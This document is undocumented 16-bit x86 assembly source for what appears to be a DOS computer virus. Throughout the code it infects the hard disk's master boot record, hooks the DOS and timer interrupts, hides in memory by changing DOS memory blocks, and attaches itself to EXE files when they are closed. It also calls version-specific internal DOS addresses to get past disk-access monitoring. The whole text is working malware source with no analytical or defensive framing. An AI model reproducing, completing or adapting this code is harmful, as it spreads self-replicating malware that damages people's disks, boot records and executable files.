cut equ offset len-300h virsize equ offset len-100h memsize equ (virsize+20h)/16+1 xor di,di mov ds,di mov ss,di mov sp,7BF0h mov si,7C00h push si mov ax,3000h mov es,ax mov cx,201h push cx push cx rep movsw pop ax push cx mov cl,8 mov bx,cut mov dx,80h int 13h mov [1Ch*4],offset timer-100h mov [1Ch*4+2],3000h pop es inc cx pop ax pop bx db 0EAh dw offset jump-100h dw 3000h jump db 0CDh,013h,0EAh,00,07Ch,00,00 timer: push ax push ds xor ax,ax mov ds,ax cmp [84h],ax jz tmexit mov ax,[10h] ; int 04h mov [70h],ax ; int 1Ch mov ax,[12h] mov [72h],ax mov ax,[84h] mov cs:old-100h,ax mov ax,[86h] mov cs:old+2-100h,ax mov [84h],offset int21-100h mov [86h],cs mov ax,[2Fh*4] mov cs:int2F-100h,ax mov ax,[2Fh*4+2] mov cs:int2F+2-100h,ax tmexit: pop ds pop ax iret int21: cmp ax,4B00h jne exit21 push ax push bx push cx push dx push ds push es push si push di mov ah,52h int 21h xor si,si xor di,di mov ds,es:[bx-2] mov bx,ds mov ax,[di+3] add [di+3],memsize inc bx add ax,bx mov es,ax push ax mov ax,es:[di+3] sub ax,memsize push ax mov ax,[di+3] add ax,bx mov ds,ax mov byte ptr [di],5Ah mov word ptr [di+1],di pop [di+3] pop es push cs pop ds mov cx,virsize/2+1 rep movsw mov ds,cx mov [84h],offset res21-100h mov [86h],es back: pop di pop si pop es pop ds pop dx pop cx pop bx pop ax exit21: db 0EAh old dw ? dw ? res21: push ax push bx push cx push dx push ds push es push si push di cmp ah,3Eh je close cmp ah,3Dh jne back open: call driver xchg ax,bx jc out call chexe jne out mov cs:len-100h,cx out: mov ah,3Eh call driver jmp back close: call chexe jne back cmp cx,cs:len-100h je back cmp cx,5000 jb back push cx push dx push cs pop es push cs pop ds mov ah,3Fh mov dx,offset buf-100h mov cx,20h call driver mov si,offset buf+0Eh-100h mov di,offset save-100h movsw movsw lodsw movsw movsw pop dx pop ax mov cl,16 div cx inc ax push ax push ax mul cx mov cx,ax xchg cx,dx mov ax,4200h call driver pop ax sub ax,[si-10h] mov [si-2],ax mov [si-0Ah],ax mov [si-8],500h mov [si-4],offset go-100h pop ax xor dx,dx mov cx,20h push cx div cx inc ax inc ax mov [si-14h],ax mov [si-16h],dx mov ah,40h mov cx,virsize xor dx,dx call driver call chexe mov ah,40h pop cx mov dx,offset buf-100h call driver jmp back go: mov bx,es add bx,10h add cs:save+6-100h,bx add bx,cs:save-100h push bx push ds push es call cell test si,si je exec cmp word ptr [si+2],0A000h jb exec mov ah,2 push cs pop es push cs pop ds mov bx,offset buf-100h mov cl,1 call doit xor si,si mov di,bx mov cl,cut/2 rep cmpsw je exec inc count-100h mov ah,3 mov cl,9 call doit xor si,si mov di,bx mov cl,cut/2+1 rep movsw mov ah,3 inc cx call doit mov bx,cut mov cl,8 mov ah,3 call doit exec: pop es pop ds pop ss mov sp,cs:save+2-100h jmp dword ptr cs:save+4-100h chexe: push bx mov ax,1220h call dosint mov bl,es:[di] mov ax,1216h call dosint pop bx add di,15h xor ax,ax stosw stosw mov cx,es:[di-8] mov dx,es:[di-6] add di,0Fh mov ax,'XE' scasw jne notexe scasb clc notexe: ret cell: push ax push bx push cx mov ah,30h int 21h xor si,si xchg ah,al cmp ax,401h ja newdos cmp ax,314h jb newdos cmp ax,31Eh mov si,7B4h jae newdos mov si,10A5h cmp al,10 je newdos mov si,1EC9h newdos: mov ds,cx pop cx pop bx pop ax ret driver: pushf call dword ptr cs:old-100h ret doit: push ds call cell mov ch,0 mov al,1 mov dx,80h pushf call dword ptr [si] pop ds ret dosint: pushf db 9Ah int2F dw ? dw ? ret count dw 0 save dw 4 dup (?) len label word buf label word